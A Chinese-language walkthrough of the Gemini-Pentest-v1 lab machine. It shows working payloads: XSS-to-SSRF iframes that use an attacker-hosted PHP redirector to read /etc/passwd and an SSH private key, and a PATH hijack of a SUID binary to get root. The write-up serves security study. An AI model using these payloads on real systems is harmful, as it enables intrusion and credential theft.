信息收集

拿到ip
nmap扫描

只开启了80和22,现在就从80服务找到有用信息
有个登录框尝试弱口令
发现
admin:1234
可以登录进去

寻找漏洞点,发现在导出文件这里

有个wkhtmltopdf 0.12.4
去网上寻找该应用的漏洞

找到漏洞后,寻找利用点如何来执行这个漏洞(ssrf)
然后在处理修改文件的地方,我找到了一处可以xss的地方

在displayname这里我插入一个简单的xss语句,保存后会弹窗

然后根据漏洞点利用xss+ssrf读取文件
开始我尝试读取本地文件
<iframe src="file:///etc/passwd"></iframe>发现这样并不能导出来
利用远程文件包含在本机kali写一个包含的php文件
<?php header('location:file://'.$_REQUEST['url']); ?>然后在这里打开web'服务,让漏洞点访问我们的php文件并尝试读取文件
<iframe height="4000" width="800" src="http://192.168.33.129:4444/1.php?url=/etc/passwd"></iframe>
发现这样可以读取到文件
进一步利用读取用户的ssh文件
<iframe height="4000" width="800" src="http://192.168.33.129:4444/1.php?url=/home/gemini1/.ssh/id_rsa>"></iframe>这个导出pdf的功能真的很慢每次测试paylaod都超级慢

读取成功直接那这个文件ssh登陆

拿到初始shell后需要提权了
提权
一步步尝试由于我们不知道这个用户的密码所以查看不了具有sudo的命令
那就先找到具有suid的命令

发现大部分命令都是常见的并不能提权,但是发现一个不常见的listinfo命令不常见
发现他在运行的时候会调用date命令,那我们就在tmp下面直接创建一个date文件里面直接
echo "/bin/sh" > date
chmod 777 date
export PATH=/tmp:$PATH
echo $PATH
/usr/bin/listinfo这样在运行listinfo的E时候直接就运行date了,直接就可以拿到root权限

原创
Gemini-Pentest-v1靶机记录
本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。
评论交流
欢迎留下你的想法